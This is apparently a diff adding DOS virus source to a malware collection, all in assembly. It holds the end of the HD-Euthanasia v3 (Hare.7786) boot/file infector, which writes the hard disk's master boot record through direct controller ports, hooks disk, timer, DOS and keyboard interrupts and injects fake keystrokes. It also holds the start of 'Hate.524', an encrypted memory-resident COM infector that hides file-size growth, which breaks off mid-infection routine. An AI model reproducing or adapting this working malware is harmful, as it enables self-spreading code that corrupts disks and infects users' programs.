+ + INC CX ; MBR. + MOV DX, 80h + INT 13h + + MOV DI, OFFSET Drew3 + MOV SI, DATA_25E + MOV CL, 40h + REP MOVSB + + INC CX + + PUSH CS + POP DS + + MOV AX, 0301h + MOV DATA_138, CH + CALL Infect_Exec3 + + RETN + +DATA_138 DB 0 + +SUB_55: + PUSH AX + PUSH BX + PUSH DX + + MOV AX, 0201h ; Read MBR of 1st harddisk. + MOV BX, OFFSET Buffer + PUSH CS + POP ES + MOV CX, 01h + MOV DX, 80h + CALL Traced_i13h + + MOV DI, OFFSET Drew3 + MOV CL, 40h + REP STOSB + + INC CX + MOV AX, 0301h + CALL Infect_Exec3 + + POP DX + POP BX + POP AX + + RETN + +Botty: + + CALL SUB_54 + CALL SUB_4 + + XOR AX, AX + MOV DS, AX + + MOV SI, 1Ch * 4 + MOV DI, OFFSET Int1Ch + + MOVSW + MOVSW + + MOV SI, 21h * 4 + MOV DI, OFFSET Int13h + + MOVSW + MOVSW + + INT 12h ; Save total DOS-memory. + MOV CS:Dos_Mem, AX ; Save it. + + SUB WORD PTR DS:[413h], 9 ; Subtract our needs. + NOP + + MOV BYTE PTR CS:DATA_77, 02h + + CLI ; Hook INT 1Ch (timer). + MOV DS:[1Ch * 4 + 2], CS + MOV DS:[1Ch * 4], OFFSET NewInt1Ch + STI + + CALL Check_Poly_Sector + + RETN + +NewInt1Ch: + PUSH AX + PUSH DS + PUSH ES + PUSH SI + PUSH DI + + XOR AX, AX + MOV DS, AX + + MOV SI, 21h * 4 + + PUSH CS + POP ES + + MOV DI, OFFSET Int13h + CLD + + CMPSW ; Cmp [si] to es:[di] + JZ LOC_216 + + MOV AL, 01h +LOC_216: + CMPSW ; Cmp [si] to es:[di] + JZ LOC_217 + + MOV AH, 01h +LOC_217: + OR AX, AX + JZ LOC_218 + + SUB SI,4 + SUB DI,4 + MOVSW + MOVSW + + DEC BYTE PTR ES:DATA_77 + JNZ LOC_218 + + MOV DI, OFFSET Traced_Int13h + MOV SI, 13h * 4 + + MOVSW + MOVSW + + MOV DI, OFFSET Int13h + MOV SI, 13h * 4 + + MOVSW + MOVSW + + MOV DI, OFFSET Traced_Int21h + MOV SI, 21h * 4 + + MOVSW + MOVSW + + MOV DS:[1Ch * 4], OFFSET Int1Ch_Di +LOC_218: + POP DI + POP SI + POP ES + POP DS + POP AX + +Exit_Int1Ch: JMP DWORD PTR CS:Int1Ch + + +Int1Ch_Di: + PUSH AX + PUSH DS + PUSH DI + + XOR AX, AX + MOV DS, AX + + MOV DS, DS:[22h * 4 + 2] ; Get 1st instruction of + MOV AX, DS:[0] ; INT 22h(terminate address). + + CMP AX, 20CDh ; INT 20h? + JNE LOC_220 + + XOR AX, AX + MOV DS, AX + + MOV AX, CS:Dos_Mem ; Put back old value. + MOV DS:[413h], AX + + MOV AX, CS:Int1Ch ; Restore original INT 1Ch. + MOV DS:[1Ch * 4], AX + MOV AX, CS:Int1Ch+2 + MOV DS:[1Ch * 4 + 2], AX + + MOV AX, DS:[21h * 4] ; Save INT 21h. + MOV CS:Int21h,AX + MOV AX, DS:[21h * 4 + 2] + MOV CS:Int21h+2,AX + + MOV AX, DS:[28h * 4] ; Save INT 28h. + MOV CS:Int28h, AX + MOV AX, DS:[28h * 4 + 2] + MOV CS:Int28h+2, AX + + MOV DS:[28h * 4], OFFSET NewInt28h ; Hook INT 28h. + MOV DS:[28h * 4 + 2], CS + + MOV DS:[21h * 4], OFFSET NewInt21h ; Hook INT 21h. + MOV DS:[21h * 4 + 2], CS + + PUSH SI + PUSH ES + + CALL Slice_Int13h + CALL Insert_Slice + + POP ES + POP SI +LOC_220: + POP DI + POP DS + POP AX + + JMP Exit_Int1Ch + +NewInt28h: + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH ES + PUSH DS + PUSH DI + PUSH SI + + TEST CS:DATA_138, 10000000b + JNZ LOC_221 + + OR CS:DATA_138, 10000000b + CLD + + PUSH CS + POP DS + + CALL Unslice_Int13h + CALL Infect_Harddisk + CALL SUB_55 + CALL Insert_Slice +LOC_221: + CALL SUB_56 + CALL SUB_57 + + POP SI + POP DI + POP DS + POP ES + POP DX + POP CX + POP BX + POP AX + + DB 0EAh ; JMP FAR opcode. +Int28h DW 0, 0 + + + +SUB_56: + + MOV AX,160Ah ; Identify Windows version + INT 2Fh ; and type. + + OR AX, AX ; Valid function? + JNZ LOC_223 + + CMP BH, 04h ; Windows 95/NT ? + JB LOC_223 ; Else abort function. + + OR CS:Flags, 00000100b + + MOV AX, 5445h ; INT 13h residency-check. + INT 13h + + CMP AX, 4554h ; Have we hooked INT 13h? + JE LOC_RET_222 + + OR CS:DATA_138, 00000010b + + MOV AX, 3513h ; Get address INT 13h. + INT 21h + + MOV CS:Traced_Int13h, BX ; Save address INT 13h. + MOV CS:Traced_Int13h+2, ES + + XOR AX, AX + MOV DS, AX + + MOV DS:[13h * 4], OFFSET NewInt13h + MOV DS:[13h * 4 + 2], CS + +LOC_RET_222: + RETN +LOC_223: + AND CS:Flags, 11111011b + AND CS:DATA_138, 11111100b + + RETN + + + +SUB_57: + TEST CS:Flags, 00000100b + JNZ LOC_RET_224 + + MOV AX, 5445h ; INT 13h hooked already? + INT 13h + + CMP AX, 4554H + JE LOC_RET_224 + + MOV AX, CS:Int13h + MOV CS:Traced_Int13h, AX + MOV AX, CS:Int13h+2 + MOV CS:Traced_Int13h+2, AX + AND CS:DATA_138, 0FCh + + CALL Slice_Int13h + CALL Insert_Slice + +LOC_RET_224: + RETN + + + +Traced_i13h: + PUSHF + CALL DWORD PTR CS:Traced_Int13h + + RETN + + +NewInt16h: + CMP AH, 01h ; Read keyboard-status? + JA JMP_Int16h + + CMP AH, 01h ; Read keyboard-status? + JE LOC_225 + + CALL Infect_Exec1 + CALL OldInt16h ; Execute function. + CALL Get_Proceed_Char + + MOV BYTE PTR CS:Dum2, 02h + + RETF 2 ; Return to caller. + +LOC_225: + DEC BYTE PTR CS:[18EDH] + JNZ JMP_Int16h + + MOV BYTE PTR CS:[18EDH], 5 + + PUSH AX + PUSH CX + + CALL Get_Proceed_Char + MOV CX, AX + MOV AH, 05h + INT 16h ; Keyboard i/o ah=function 05h + ; stuff key cx into keybd buffr + POP CX + POP AX + CALL OldInt16h + RETF 2 ; Return far + +JMP_Int16h: + DB 0EAh ; JMP to original handler. +Int16h DW 0, 0 + +Dum3 DB 04h +Dum1 DW 0 +Dum2 DB 02h + +OldInt16h: + PUSHF + CALL DWORD PTR CS:Int16h + + RETN + + +;fuck +Proceed_Key DW 1559h ; Y + DW 314Eh ; N + DW 314Eh ; N + DW 314Eh ; N + DW 1559h ; Y + DW 1559h ; Y + DW 314Eh ; N + DW 1559h ; Y + + +Get_Proceed_Char: + + PUSH DI + + MOV DI, CS:Dum1 + MOV AL, CS:Dum2 + CBW + ADD DI, AX + MOV AX, CS:Proceed_Key[DI] + + POP DI + + RETN + + + +Infect_Exec1: + PUSH AX + PUSH CX + + MOV AH, 01h ; Read keyboard-status. + CALL OldInt16h + JZ LOC_227 + + XCHG CX, AX + CALL Get_Proceed_Char + + CMP AX, CX + JE LOC_228 + + PUSH DS + + XOR AX, AX + MOV DS, AX + + MOV AX, DS:[41Ah] ; Address BASIC errorhandler. + MOV DS:[41Ch], AX ; Mink (?). + + POP DS +LOC_227: + CALL Get_Proceed_Char + MOV CX, AX ; Write to keyboard-buffer. + MOV AH, 05h + INT 16h + +LOC_228: + POP CX + POP AX + + RETN + + + +Infect_Exec2: + +PARAMETER_1 = 4 ; BP+4 +PARAMETER_2 = 6 ; BP+6 +PARAMETER_3 = 8 ; BP+8 +PARAMETER_4 = 0AH ; BP+0AH + + PUSH BP + MOV BP, SP + + MOV Trace_Function, 0 ; Function: Reset disk. + MOV First_MCB, 71h + MOV Fake_PUSHF, 00h + MOV Trace_Done, 01h + + MOV AX, 3513h ; Get INT 13h. + INT 21h + + MOV Trace_Int, BX + MOV Trace_Int+2, ES + CALL Tracer + + CLD ; Replace INT 13h address + MOV SI, OFFSET Trace_Int ; with traced address. + MOV DI, OFFSET Traced_Int13h + MOVSW + MOVSW + + MOV AX, 440Dh + MOV BX, 180h + MOV CX, 84Bh + INT 21h ; DOS Services ah=function 44h + ; IOctl-D block device control + ; bl=drive, cx=category/type + ; ds:dx ptr to parameter block + + MOV AX, 3516h ; Get INT 16h. + INT 21h + + MOV Int16h, BX ; Save address INT 16h. + MOV Int16h+2, ES + + MOV Dum3, 05h + MOV Dum1, 0 + MOV DX, OFFSET NewInt16h + MOV AX, 2516h ; Hook INT 16h (keyboard). + INT 21h + + PUSH CS + POP ES + + MOV BX, [BP+PARAMETER_3] + MOV CX, [BP+PARAMETER_2] + MOV DX, [BP+PARAMETER_1] +LOC_229: + MOV AX, [BP+PARAMETER_4] + CALL Traced_i13h + JNC LOC_230 + + MOV AX, Dum1 + ADD AL, 04h + MOV Dum1, AX + MOV Dum2, 00h + + CMP AL, 0Ch + JBE LOC_229 + + STC +LOC_230: + PUSHF + PUSH DS + LDS DX, DWORD PTR Int16h + MOV AX, 2516h ; Restore original INT 16h. + INT 21h + + POP DS + POPF + POP BP + + RETN 8 + + +Infect_Exec3: + CALL Infect_Exec6 + JC LOC_232 + + JMP LOC_233 +LOC_231: + POP ES + POP DX + POP CX + POP BX + POP AX +LOC_232: + CALL Traced_i13h + JMP LOC_RET_236 + + +LOC_233: + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH ES + + MOV DI, 04h +LOC_234: + MOV SI, BX + + DEC DI + JZ LOC_231 + + MOV AH, 00h ; Reset 1st harddisk. + MOV DL, 80h + INT 13h + + XOR AX, AX + MOV ES, AX + + MOV ES:48Eh, AL + + CLD + MOV DX, 3F6h + MOV AL, 04h + OUT DX, AL ; Reset controller. + + JMP $+2 ; Delay for I/O. + JMP $+2 + + MOV AL, 0 + OUT DX, AL ; al = 0, hdsk0 register + CALL Wait_Ready + + MOV DX, 1F2h ; Sector count. + MOV AL, 01h ; 1 sector. + OUT DX, AL + + JMP $+2 + JMP $+2 + + INC DX + MOV AL, 01h ; Sector: MBR. + OUT DX, AL + + JMP $+2 + JMP $+2 + + INC DX + MOV AL, 0 + OUT DX, AL ; Cylinder lo. + + JMP $+2 + JMP $+2 + + INC DX + MOV AL, 0 + OUT DX, AL ; Cylinder hi. + + JMP $+2 + JMP $+2 + + INC DX + MOV AL, 10100000b + OUT DX, AL ; 1st harddisk, head zero. + + JMP $+2 ; Delay for I/O. + JMP $+2 + + INC DX + MOV AL, 31h + OUT DX, AL ; Write sectors without retry. + CALL Wait_Servicing + + MOV CX, 256 + MOV DX, 1F0h ; Data-register. + DB 0F3h, 6Fh ; REP OUTSW, (286+). +LOC_235: + MOV AL, ES:48Eh + + OR AL, AL + JZ LOC_235 + + CALL Wait_Ready + + TEST AL, 00100001b ; Write fault? + JNZ LOC_234 + + POP ES + POP DX + POP CX + POP BX + POP AX + +LOC_RET_236: + RETN + + + +Wait_Ready: + + MOV DX, 1F7h +Not_Ready: + IN AL, DX ; Get status-register. + + TEST AL, 10000000b ; Controller executing + JNZ Not_Ready ; command? + + RETN + + + +Wait_Servicing: + CALL Wait_Ready + + TEST AL, 00001000b ; Disk buffer requires + JZ Wait_Servicing ; servicing? + + RETN + + +; Sets CF +Infect_Exec6: + PUSH AX + PUSH BX + + MOV AX, SP + + PUSH SP + POP BX + + STC + PUSHF + + CMP AX, BX + JNE LOC_239 + + MOV AL, 12h + CALL Infect_Exec7 + + POPF + CLC + PUSHF + + AND AH, 11110000b + + CMP AH, 00010000b + JA LOC_239 + + POPF + STC + PUSHF +LOC_239: + POPF + POP BX + POP AX + + RETN + +Infect_Exec7: + PUSH BX + + MOV BL, AL + OR AL, 80h + CLI + OUT 70h, AL ; Port 70h, CMOS addr,bit7=NMI + ; AL = 92h, hard disk type. + JMP $+2 ; Delay for I/O. + JMP $+2 + + IN AL, 71h ; Port 71H, CMOS data. + MOV AH, AL + XOR AL, AL + + JMP $+2 + JMP $+2 + + OUT 70h, AL ; Port 70h, CMOS addr,bit7=NMI + ; AL = 0, seconds register + STI + MOV AL, BL + POP BX + + RETN + +Entry_Bytes DB 5 DUP(0) ; Original first 5 bytes of INT 13h + ; entrypoint which are overwritten + ; with a JMP FAR to our handler. +; +; Copies the first five bytes of INT 13h to a temp variable. +; +Slice_Int13h: + PUSH CS + POP ES + + MOV DI, OFFSET Entry_Bytes + LDS SI, DWORD PTR ES:Traced_Int13h + + CLD + MOVSW + MOVSW + MOVSB + + RETN + + +; +; Overwrites the entrypoint of INT 13h with a JMP FAR to our INT 13h handler. +; +; +Insert_Slice: + PUSH DS + PUSH SI + PUSH AX + PUSHF + + TEST CS:DATA_138, 00000010b ; Init INT 13h ? + JNZ LOC_240 + + LDS SI, DWORD PTR CS:Traced_Int13h + + ; Overwrite with JMP FAR [viruscode]. + + MOV BYTE PTR [SI], 0EAh + MOV WORD PTR [SI+1], OFFSET NewInt13h + MOV WORD PTR [SI+3], CS +LOC_240: + POPF + POP AX + POP SI + POP DS + + RETN + + +Unslice_Int13h: + + PUSHF + PUSH CX + PUSH DI + PUSH SI + PUSH DS + PUSH ES + + PUSH CS + POP DS + + TEST DATA_138, 00000010b ; INT 13h hooked already? + JNZ LOC_241 + + CLI + MOV SI, OFFSET Entry_Bytes + LES DI, DWORD PTR Traced_Int13h + + CLD ; Copy + MOV CX, 5 + REP MOVSB +LOC_241: + STI + POP ES + POP DS + POP SI + POP DI + POP CX + POPF + + RETN + +Int13h DW 0, 0 +DATA_150 DW 0BDBFh +Dos_Mem DW 0 +DATA_152 DB 0 +Function_i13h DB 0 +DATA_154 DB 0 + DB 0 + +Exec_Int13h: + POPF + + MOV CS:Function_i13h, AH ; Save function #. + CALL Traced_i13h + + PUSHF + + OR AH, AH + JZ LOC_243 + + JMP LOC_255 +LOC_243: + MOV CS:Function_i13h,0 + POPF + CALL Insert_Slice + RETF 2 + +NewInt13h: + PUSHF + + CMP AX, 5445h ; Residency-check? + JNE Check_Next_2 + + MOV AX, 4554h ; Our sign. + POPF + + RETF 2 ; Return to caller. + +Check_Next_2: + CALL Unslice_Int13h + + CMP DX, 80h ; Head zero of 1st harddisk? + JNE LOC_245 + + CMP CX, 01h ; MBR? + JNE LOC_245 + + CMP AH, 03h ; Doing a write? + JA LOC_245 + + CMP AH, 02h ; Doing a read? + JB LOC_245 + + POPF + + JMP LOC_249 + NOP +LOC_245: + CMP DL, 80h + JNB LOC_247 + + CMP AH, 16h + JNE LOC_246 + + JMP Exec_Int13h +LOC_246: + CMP AH, 05h + JAE LOC_247 + + CMP AH, 01h + JBE LOC_247 + + JMP LOC_255 +LOC_247: + CMP DL, 80h + JNE LOC_248 + + CMP CS:DATA_150, CX + JNE LOC_248 + + AND CH, 02h +LOC_248: + POPF + + CALL Traced_i13h + CALL Insert_Slice + + RETF 2 +LOC_249: + PUSH BX + PUSH CX + PUSH DX + PUSH ES + + CMP AH, 02h + JE LOC_250 + + JMP LOC_251 +LOC_250: + CALL Traced_i13h ; Execute function. + + PUSHF + PUSH AX + PUSH BX + + MOV AH, 08h ; Get disk drive parameters. + MOV DL, 80h + CALL Traced_i13h + + INC CH + DEC DH + MOV DL, 80h + MOV AX, 0201h ; Read stored bootsector (?) + POP BX + CALL Traced_i13h + POP AX + POPF + + JMP LOC_253 +LOC_251: + PUSH DS + PUSH DI + PUSH SI + PUSH AX + DEC AL + PUSH ES + PUSH BX + + JZ LOC_252 + + ADD BX, 200h + INC CL + CALL Traced_i13h + DEC CL +LOC_252: + MOV AH, 08h + MOV DL, 80h + CALL Traced_i13h + POP BX + POP ES + INC CH + DEC DH + MOV DL, 80h + MOV AX, 0301h + CALL Encrypt_Boot + CALL Traced_i13h + MOV BX,AX + POP AX + MOV AL,BL + POP SI + POP DI + POP DS +LOC_253: + POP ES + POP DX + POP CX + POP BX + CALL Insert_Slice + RETF 2 +LOC_254: + JMP LOC_260 +LOC_255: + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH ES + PUSH DS + PUSH SI + PUSH DI + + XOR AX, AX + MOV DS, AX + + XOR CH, CH + MOV CL, DL + INC AL + SHL AL, CL + + CMP CS:Function_i13h, 00h + JNE LOC_256 + + TEST AL, byte ptr Gaby1 + JNZ LOC_254 +LOC_256: + PUSH CS + POP DS + + PUSH DS + POP ES + + MOV CL, 4 ; Multiplied by 16. + SHL AL, CL + + MOV DATA_152, AL + MOV SI,3 +LOC_257: + XOR AX, AX ; Reset disk. + CALL Traced_i13h + + MOV AX, 0201h ; Read bootsector + MOV CX, 01h + MOV DH, CH + MOV BX, OFFSET Buffer + CALL Traced_i13h + JNC LOC_258 + + DEC SI + JZ LOC_254 + JMP LOC_257 +LOC_258: + MOV AX, Drew2 + SUB AX, Drew1 + + CMP AX, 0CCFFh + JE LOC_254 + + CALL SUB_71 + CALL SUB_72 + JNC LOC_259 + + MOV AX, 0401h ; Verify bootsector/MBR. + XOR CX, CX + INC CX + MOV DH, CH + CALL Traced_i13h + JMP LOC_260 +LOC_259: + XOR BX, BX + MOV CL, 01h + MOV AX, 0310h + CALL Traced_i13h + JC LOC_260 + + MOV BX, OFFSET Buffer + MOV CL, 11h + MOV AX, 0301h + CALL Traced_i13h + JC LOC_260 + + MOV BL, 02h + PUSH DX + CALL SUB_49 + POP DX + MOV CX, 01h + XOR DH, DH + MOV BX, OFFSET Buffer + MOV BYTE PTR DS:[Buffer], 0EBh ; JMP viruscode in MBR. + MOV BYTE PTR DS:[Buffer+1], 3Ch + MOV AX, 0301h + CALL Traced_i13h +LOC_260: + POP DI + POP SI + POP DS + POP ES + POP DX + POP CX + POP BX + POP AX + + CMP CS:Function_i13h, 0 + JE LOC_261 + + JMP LOC_243 + + + +LOC_261: + CMP DH, 00h + JNE LOC_262 + + CMP CX, 01h + JNE LOC_262 + + TEST CS:Flags, 00000100b + JNZ LOC_262 + + CMP AH, 02h + JE LOC_263 + + CMP AH, 03h + JE LOC_265 + +LOC_262: + JMP LOC_248 +LOC_263: + POPF + CALL Traced_i13h + PUSHF + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH ES + JC LOC_264 + + MOV AX, ES:[BX+102h] ; Subtract 1st word from word. + SUB AX, ES:[BX+100h] + + CMP AX, 0CCFFh ; Infected bootsector? + JNE LOC_264 + + MOV CH, 51h ; Cylinder 81. + MOV CL, 11h ; Sector 17. + MOV DH, 01h ; 1st head. + MOV AX, 0201h ; Read sector + CALL Traced_i13h +LOC_264: + POP ES + POP DX + POP CX + POP BX + POP AX + + CALL Insert_Slice + + POPF + RETF 2 + + +LOC_265: + PUSH AX + PUSH BX + PUSH ES + + PUSH CS + POP ES + + MOV AX, 0201h + MOV BX, OFFSET Buffer + CALL Traced_i13h + + POP ES + POP BX + POP AX + + PUSH AX + + DEC AL + JZ LOC_266 + + ADD BX, 200h + INC CL + CALL Traced_i13h + + SUB BX, 200h + DEC CL +LOC_266: + PUSH DI + PUSH SI + PUSH DS + PUSH ES + PUSH BX + + MOV AX, ES:[DI+102h] ; Subtract word from word. + SUB AX, ES:[DI+100h] + + CMP AX, 0CCFFh ; Infected signature? + JNE LOC_267 + + MOV CH, 51h + MOV CL, 11h + MOV DH, 01h + MOV AX, 0301h + CALL Traced_i13h + + PUSH ES + POP DS + + PUSH CS + POP ES + + MOV SI, BX + ADD SI, 03h + MOV DI, 1E6Ch+1 + MOV CX, 59 + REP MOVSB + MOV BX, OFFSET Buffer +LOC_267: + MOV DH, 00h + MOV CX, 01h + MOV AX, 0301h + CALL Traced_i13h + + MOV CS:DATA_154,AH + + POP BX + POP ES + POP DS + POP SI + POP DI + POP AX + MOV AH, CS:DATA_154 + CALL Insert_Slice + POPF + + RETF 2 + + +SUB_71: + MOV AL, DS:1E7Eh+1 + + CMP AL,0FDH + JE LOC_268 + + MOV CH, 51h + JMP LOC_RET_269 +LOC_268: + MOV CH,29h + +LOC_RET_269: + RETN + + +SUB_72: + MOV DH, CH + MOV DATA_154, DL + + XOR AX, AX + MOV ES, AX + + LES DI, DWORD PTR ES:[1Eh * 4] + MOV AX, ES:[DI+3] + PUSH AX + MOV BYTE PTR ES:[DI+3], 02h + MOV BYTE PTR ES:[DI+4], 11h + + PUSH CS + POP ES + + MOV DI, OFFSET Drew4 + + CLD + MOV CX, 11h + MOV DL, 01h + +LOCLOOP_270: + MOV AH, 01h + MOV AL, DH + STOSW + + MOV AL, DL + MOV AH, 02h + STOSW + + INC DL + LOOP LOCLOOP_270 + + MOV AX, 50FH + MOV CH, DH + MOV CL, 1 + MOV DH, 1 + MOV DL, DATA_154 + MOV BX, 206AH + CALL Traced_i13h + PUSHF + MOV BYTE PTR Verify_Sectors+2, CH + + XOR AX, AX + MOV ES, AX + + LES DI, ES:[1Eh * 4] + POPF + POP AX + MOV ES:[DI+3],AX + PUSH CS + POP ES + RETN + +LOC_271: + MOV BX, 0B50h + + MOV ES, BX + XOR BX, BX + + MOV AX, 1E0Eh + + PUSH ES + PUSH AX + +Verify_Sectors: MOV CX, 5101h + + MOV AX, 0411h + MOV DX, 0100h + INT 13h ; Disk dl=drive a ah=func 04h + ; verify sectors with mem es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + MOV AX, 0211h ; Read virusbody from disk. + INT 13h + + JC LOC_271 + RETF + + STI + + XOR AX, AX + MOV ES, AX + + PUSH CS + POP DS + + CLD + MOV DI, 7C00h + MOV SI, 2000h + MOV CX, 512 + PUSH ES + PUSH DI + REP MOVSB + + MOV Flags, AL ; Clear flags. + + CALL Check_Poly_Sector + CALL Infect_Harddisk + + RETF + +Message DB '"HDEuthanasia-v3" by Demon Emperor:' + DB ' Hare Krsna, hare, hare...' + + ; (I sure hope 4U that ya never see this message during boot-up!). + +Virus_End: + +Buffer: + + +Marker DW 0 +File_Mod512 DW 0 +Byte_Pages DW 0 + DW 0 +Header_Size DW 0 + DW 0 + DW 0 +Init_SS DW 0 +Init_SP DW 0 + DW 0 +Init_IP DW 0 +Init_CS DW 0 +Reloc_Offs DW 0 + DW 0 +Undoc DW 0 +Ruck DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 +Drew1 DW 0 +Drew2 DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 +Drew3 DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 +Drew4 DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 + DW 0 +Poly_Sector DW 0 + + +Carrier: + PUSH CS + POP DS + + MOV AH, 09h ; Display warning-message. + MOV DX, OFFSET Warning + INT 21h + + MOV AX, 4C00h ; Exit to DOS. + INT 21h + + +Warning DB 'WARNING: This program is infected with the ' + DB 'HD-Euthanasia v3 (Hare.7786) virus!', 0Ah, 0Dh, '$' + + END START diff --git a/h/HATE.ASM b/h/HATE.ASM new file mode 100755 index 0000000..3c58cd8 --- /dev/null +++ b/h/HATE.ASM @@ -0,0 +1,299 @@ +; Hate.524 (named by Moi because of Internal Text and Size) +; Uninteresting Encrypted COM Infector +; Source code compliments of PakiLad +p386n + + +seg000 segment byte public 'CODE' use16 + assume cs:seg000 + org 100h + assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing + +start proc near + and al, 21h + mov ax, 5800h + int 21h ; Virus Installation Check + cmp ah, 58h ; Installed Already? + jnz InstallVirus ; No? Then JMP. + mov ah, 4Ch + int 21h ; Exit To DOS + +InstallVirus: + call $+3 +start endp + +Next proc near + pop si + sub si, offset Next + mov dl, Cryptor[si] + cmp dl, 0 + jz Crypted + mov cx, VirusSize + lea di, Crypted[si] + +DecryptLoop: + mov al, [di] + xor al, dl + mov [di], al + inc di + loop DecryptLoop + +Crypted: + mov ah, 14h + int 21h ; Install Check + cmp ah, 6 ; Installed? + jz RestoreCOM ; Yes? Then JMP. + jmp short DoInstall + +RestoreCOM: + push cs + pop ds + mov ax, OrgByte1[si] + mov word ptr start, ax + mov ax, OrgByte2[si] + mov word ptr ds:102h, ax + mov al, OrgByte3[si] + mov byte ptr ds:104h, al + mov ax, offset start + push ax + retn ; Return to Original Program + +DoInstall: + mov ah, 52h + int 21h ; Get List Of Lists + mov bx, es:[bx-2] + +FindLastMCB: + mov es, bx + add bx, es:3 + inc bx + cmp byte ptr es:0, 'Z' ; Last MCB? + jnz FindLastMCB ; No? Then JMP. + mov ax, es + mov es, bx + cmp byte ptr es:0, 'M' ; More MCB To Follow? + jz GotMoreMCB ; Yes? Then JMP. + mov es, ax ; ES points to MCB + jmp short GotMemory + +GotMoreMCB: + mov es, bx + add bx, es:3 + inc bx + cmp byte ptr es:0, 'M' + jz GotMoreMCB + +GotMemory: + mov bx, es:3 + mov ax, 795 + mov cl, 4 + shr ax, cl + sub bx, ax + mov es:3, bx + mov ax, es + add bx, ax + xor di, di + mov es, bx + mov cx, TotalSize+100h + push si + rep movsb ; Copy Virus Into Memory + pop si + push es + pop ds + mov ax, 3521h + int 21h ; Get Int 21h Vectors + mov Int21Ofs, bx + mov Int21Seg, es + mov ah, 25h + mov dx, offset NewInt21 + int 21h ; Set New Int 21h Vectors + jmp RestoreCOM +Next endp + + +NewInt21: ; Install Check? + cmp ah, 14h + jnz CheckExecute ; No? Then JMP. + mov ah, 6 ; I'm Here! + iret + +CheckExecute: ; Set Execution State? + cmp ah, 4Bh + jnz CheckFCBFind ; No? Then JMP. + jmp short InfectFile + +CheckFCBFind: ; Find First File (FCB)? + cmp ah, 11h + jz FindFileFCB ; Yes? Then JMP. + cmp ah, 12h ; Find Next File (FCB)? + jnz DoOriginalFunc ; No? Then JMP. + +FindFileFCB: + call CallInt21 + pushf + pusha + push es + cmp al, 0 ; None found? + jnz NoFilesFound ; No? Then JMP. + mov ah, 2Fh + call CallInt21 ; Get DTA Segment/Offset + cmp byte ptr es:[bx], 0FFh ; Extended FCB? + jnz NotExtFCB ; No? Then JMP. + add bx, 7 + +NotExtFCB: + mov al, es:[bx+17h] + and al, 1Fh + cmp al, 1Fh ; Infected Already? + jnz NoFilesFound ; No? Then JMP. + sub word ptr es:[bx+1Dh], TotalSize ; Fix FileSize + +NoFilesFound: + pop es + popa + popf + iret + +DoOriginalFunc: + jmp short $+2 +JMPFar21 db 0EAh +Int21Ofs dw 0 +Int21Seg dw 0 + +InfectFile: + pusha + push es + push ds + mov ax, 3D02h + call CallInt21 ; Open File + jnb FileOpened ; No problems? Then JMP. + jmp CloseFile + +FileOpened: + xchg ax, bx + push cs + pop ds ; DS = CS + mov ah, 3Fh + mov cx, 5 + mov dx, offset OrgByte1 + call CallInt21 ; Read In 5 Bytes + mov ax, OrgByte1 + add ah, al + cmp ah, 0A7h ; Infected Already? + jnz NotBad1 ; No? Then JMP. + jmp CloseFile + +NotBad1: 